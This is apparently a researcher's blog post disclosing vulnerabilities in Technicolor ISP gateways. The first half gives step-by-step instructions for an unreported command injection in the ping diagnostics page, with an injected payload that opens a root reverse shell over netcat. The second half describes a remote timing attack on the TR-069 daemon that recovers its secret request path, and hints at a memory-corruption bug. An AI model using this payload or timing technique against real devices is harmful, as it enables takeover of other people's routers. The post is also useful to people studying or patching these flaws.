In my previous post, I mentioned, as an aside, a remotely exploitable WAN-side CWMP/TR-069 vulnerability in Technicolor ASDL residential gateways, a vulnerability affecting the customers of many foreign ISPs. This has generated some interest from folks who wish to use the vulnerability to ‘unlock’ their ISP-provided gateways for custom configuration and whatnot, but it’s overkill for doing that. I’ll tell you precisely how to ‘unlock’ the gateway by using a LAN-side vulnerability in the latest firmware (if for nothing else than to disable the CWMP/TR-069 daemon), and then I’ll give you some hints on the CWMP/TR-069 vulnerability.

LAN-side: Command injection in ping diagnostics (unrelated to CVE-2014-9144)

For the sake of convenient ‘unlocking’, you can pop yourself a root shell by using the following unreported vulnerability existing in the latest firmware:

(i) Set up a netcat listener on your machine, and adjust any firewall rules to allow an inbound connection:

nc -lvvp [machine_port]

(ii) Go to the ping/traceroute diagnostics page in the gateway’s Web management, and enter the following as the IP address for pinging:

:::::::;nc [machine_IP] [machine_port] -e /bin/sh

Or what may be easier to see:

:::::::`nc [machine_IP] [machine_port] -e /bin/sh`

In either case, that’s 7 or more colons followed by the usual metacharacter tricks for command injection. The -e switch is enabled in the firmware I’ve seen, but be sure to place the -e switch last, as shown, to avoid some quirks with the BusyBox implementation of netcat.

(iii) Click “Send Ping Request,” and the gateway should connect to your machine. You now have a root shell and can stop your ISP making you a sitting duck.

(iv) Given this questionable commit disabling the STDERR_FILENO dup2, you’ll probably want to run

exec 2>&1

or some such in the shell.

That’s it. Briefly, the vulnerability exists in the IP-address sanity checks in /usr/lib/lua/web/post_helper.lua, as used by /www/docroot/modals/diagnostics-ping-modal.lp. The IPv6 pattern isn’t securely anchored:

ipv6_pattern = ("([a-fA-F0-9]*):"):rep(8):gsub(":$","")

Eventually /usr/bin/ipping is executed, which is a Lua script feeding our input to io.popen(), which is of course a wrapper for the system’s popen().

CSRF tokens prevent this command-injection vulnerability being added to SOHO exploit kits. If Technicolor fixes it, I’ll give you another LAN-side vulnerability you can use. And another. Ad infinitum.

WAN-side: Remote CWMP/TR-069 memory-corruption vulnerability

Contrary to what I said in my previous post, the CWMP/TR-069 daemon is on TCP port 51007 nowadays, not 51005. (I hadn’t looked into this brand of devices for a number of years.) As I said, you’ll typically discover this port wide open to the Internet in a throwback to the ’90s. (You can try fixing it with bridging, half bridging / DHCP spoofing, 1:1 NAT / “DMZ”, gateway firewall rules, or anything else the ISP allows you to do, but you’ll probably find it persisting like a bad smell by design.) I described the vulnerability as a pre-authentication vulnerability, but it’s a pre-authentication vulnerability only in the sense that any secrets are either irrelevant or remotely discoverable.

After brushing up on your MIPS assembly, the first thing you’ll notice when analyzing the /usr/bin/cwmpd binary is that it reads over 2,000 bytes for the HTTP request and soon does a strstr() to determine whether you’ve supplied the correct request path. This 16-character request path is generated using 16 reads from /dev/urandom modulo a 52-character alphabet size. It seems like an insurmountable barrier; however, a remote timing attack becomes practical for the following reasons:

(i) You can fill the buffer with over 2,000 bytes of arbitrary data, subject to a couple of unimportant constraints.

(ii) uClibc strstr() uses the naive O(m*n) algorithm. Suppose the first character of the unknown path is ‘J’. With ‘#’ representing any character outside the alphabet, 2,000 bytes of the patterns (A#A#A#…), (B#B#B#…), (C#C#C#…), and so forth can be searched faster than (J#J#J#…), the former patterns permitting perfectly linear traversal and the latter pattern involving excessive needle backtracking — hence the negative HTTP response will be delayed for the latter pattern, and this timing disparity reveals the first character of the path. Further patterns yield the remaining 15 characters of the path, though according to past exploitation notes I made, it’s usually necessary to brute-force the final 1 or 2 characters in a more primitive manner. Complete path discovery occurs in minutes and is, by point of comparison, much more efficient than standard attacks against Wi-Fi WPS.

(iii) The CWMP daemon accept()s requests iteratively, sets the non-blocking flag on the client socket descriptor, and then uses a select()-based 10-second read timeout. This design avoids the finicky remotely exploitable fd_set issues existing in countless network devices’ services but allows the following: Establish connection #1 and send all data except the terminating byte sequence; establish connection #2 and send all data — the Linux kernel will of course still perform the TCP handshake and buffer this data pending the second accept(); after a few moments (ensuring all the data has been banked up), send the terminating byte sequence for connection #1. This effectively eliminates the temporal noise of half the network round trip. The connection #1 data is a benign pattern used solely as a timing reference point; the connection #2 data is a brute-force test pattern. Statistical analysis can be profitably applied to the timing of the responses, aided by the next point.

(iv) Idiosyncrasies of the Linux scheduler, related to a more general body of Linux side-channel work.

This timing attack has been accomplished across the Atlantic. To reach the memory-corruption vector, HTTP authentication needs to be enabled (either basic or digest); otherwise all the path-finding work will be rewarded with a simple HTTP 200, and then nothing has been accomplished but forcing the gateway to contact the ACS. The memory-corruption vulnerability is rather subtle and will require some knowledge of C idiosyncrasies and typical library implementations.

If independently discovered, this vulnerability will likely be less useful for widespread attacks than the TR-069 vulnerabilities affecting older RomPager releases and even less useful than the family of TR-064-via-TR-069 issues targeted by Mirai and such. What’s at stake is not so much a Technicolor vulnerability as a vulnerability class and an exploitation technique.